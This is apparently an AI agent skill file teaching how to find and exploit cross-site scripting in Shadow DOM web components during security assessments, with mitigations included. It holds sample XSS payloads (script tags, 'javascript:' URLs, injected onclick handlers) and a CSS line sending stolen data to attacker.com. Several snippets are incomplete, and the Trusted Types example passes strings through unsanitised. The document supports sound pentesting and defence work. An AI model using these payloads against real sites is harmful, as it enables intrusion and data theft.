| name | shadow-dom-xss |
| description | How to identify and exploit Cross-Site Scripting (XSS) vulnerabilities in Shadow DOM contexts. Use this skill whenever the user mentions Shadow DOM, web component security, encapsulated DOM attacks, or needs to test for XSS in modern web applications using Shadow DOM. Make sure to use this skill for any pentesting task involving web components, custom elements, or when analyzing applications that use Shadow DOM for encapsulation. |
Shadow DOM XSS Testing
A skill for identifying and exploiting Cross-Site Scripting vulnerabilities in Shadow DOM contexts during web application security assessments.
What is Shadow DOM?
Shadow DOM is a browser API that provides encapsulation for web components. It creates a separate DOM tree (the "shadow tree") that is hidden from the main document DOM. This encapsulation is designed to prevent style and script leakage between components.
Key concepts:
- Shadow Root: The root of the shadow tree, attached to a host element
- Shadow Host: The element that hosts the shadow DOM
- Light DOM: The regular document DOM visible in the page
- Encapsulation: Styles and scripts in shadow DOM don't leak out, and vice versa
Why Shadow DOM XSS Matters
Shadow DOM was designed to improve encapsulation, but it can introduce new attack vectors:
- False sense of security: Developers may assume Shadow DOM prevents XSS
- Complex attack surface: Multiple DOM boundaries to test
- Event propagation: Events can cross shadow boundaries
- Content injection points: Shadow DOM can still be vulnerable to injection
Detection Methods
1. Identify Shadow DOM Usage
document.querySelectorAll('*').forEach(el => {
if (el.shadowRoot) {
console.log('Shadow DOM found on:', el);
}
});
customElements.get('element-name');
2. Find Injection Points
Look for these common patterns:
shadowRoot.innerHTML = userInput;
shadowRoot.textContent = userInput;
shadowRoot.appendChild(document.createTextNode(userInput));
3. Test Event Handlers
Shadow DOM often uses event listeners that may not properly sanitize:
const shadowEl = element.shadowRoot.querySelector('button');
Common Attack Vectors
1. InnerHTML Injection
The most common vulnerability - when user input is inserted via innerHTML:
const shadowRoot = element.attachShadow({mode: 'open'});
shadowRoot.innerHTML = `<div>${userInput}</div>`;
userInput = '<script>alert(1)</script>';
2. Attribute Injection
Attributes in shadow DOM can be XSS vectors:
shadowRoot.querySelector('img').setAttribute('src', userInput);
userInput = 'javascript:alert(1)';
3. Event Handler Attributes
shadowRoot.innerHTML = `<button onclick="${userInput}">Click</button>`;
userInput = 'alert(1)';
4. Slot Content Injection
Shadow DOM slots can be exploited if content isn't sanitized:
<my-component>
<slot name="content">${userInput}</slot>
</my-component>
5. CSS Injection
While not traditional XSS, CSS can be used for data exfiltration:
body { background-image: url('https://attacker.com/steal?data=' + stolenData); }
Exploitation Techniques
1. Open vs Closed Shadow DOM
const shadowRoot = element.shadowRoot;
2. Event Propagation Exploits
Events bubble through shadow boundaries:
element.shadowRoot.querySelector('button').addEventListener('click', () => {
});
3. CSS Variable Exfiltration
const style = getComputedStyle(shadowRoot.querySelector('element'));
const data = style.getPropertyValue('--secret-data');
4. MutationObserver Bypass
const observer = new MutationObserver(callback);
observer.observe(document.body, {childList: true, subtree: true});
Testing Checklist
Mitigation Strategies
1. Use textContent Instead of innerHTML
shadowRoot.textContent = userInput;
shadowRoot.appendChild(document.createTextNode(userInput));
2. Sanitize Input
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userInput);
shadowRoot.innerHTML = `<div>${clean}</div>`;
3. Use Trusted Types
const policy = trustedTypes.createPolicy('myPolicy', {
createHTML: (s) => s,
createScriptURL: (s) => s
});
shadowRoot.innerHTML = policy.createHTML(sanitizedHTML);
4. Proper Event Handling
5. Content Security Policy
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self';">
Tools and Resources
Browser DevTools
document.querySelector('custom-element').shadowRoot
Automated Testing
const page = await browser.newPage();
await page.goto('https://target.com');
const hasShadowDOM = await page.evaluate(() => {
return document.querySelectorAll('*').some(el => el.shadowRoot);
});
Manual Testing Commands
curl -s https://target.com | grep -i "attachShadow"
curl -s https://target.com | grep -i "customElements.define"
References
Common Pitfalls
- Assuming Shadow DOM = XSS Protection: Shadow DOM provides encapsulation, not security
- Missing slot injection points: Slots are often overlooked
- Event handler bypasses: Events can cross shadow boundaries
- Closed shadow DOM assumptions: Closed doesn't mean secure
- CSS injection vectors: CSS can be used for data exfiltration
When to Use This Skill
Use this skill when:
- Testing web applications that use web components
- Analyzing modern frameworks (React, Vue, Angular) with shadow DOM
- Investigating XSS vulnerabilities in encapsulated components
- Reviewing custom element implementations
- Assessing applications using Shadow DOM for UI encapsulation
- Any pentesting task involving Shadow DOM or web component security
Example Workflow
- Reconnaissance: Identify Shadow DOM usage on target
- Mapping: Document all shadow roots and their structure
- Input Testing: Test all user input points affecting shadow DOM
- Event Testing: Verify event handlers and propagation
- Slot Testing: Check slot content sanitization
- Documentation: Record findings and exploitation paths
- Reporting: Provide remediation recommendations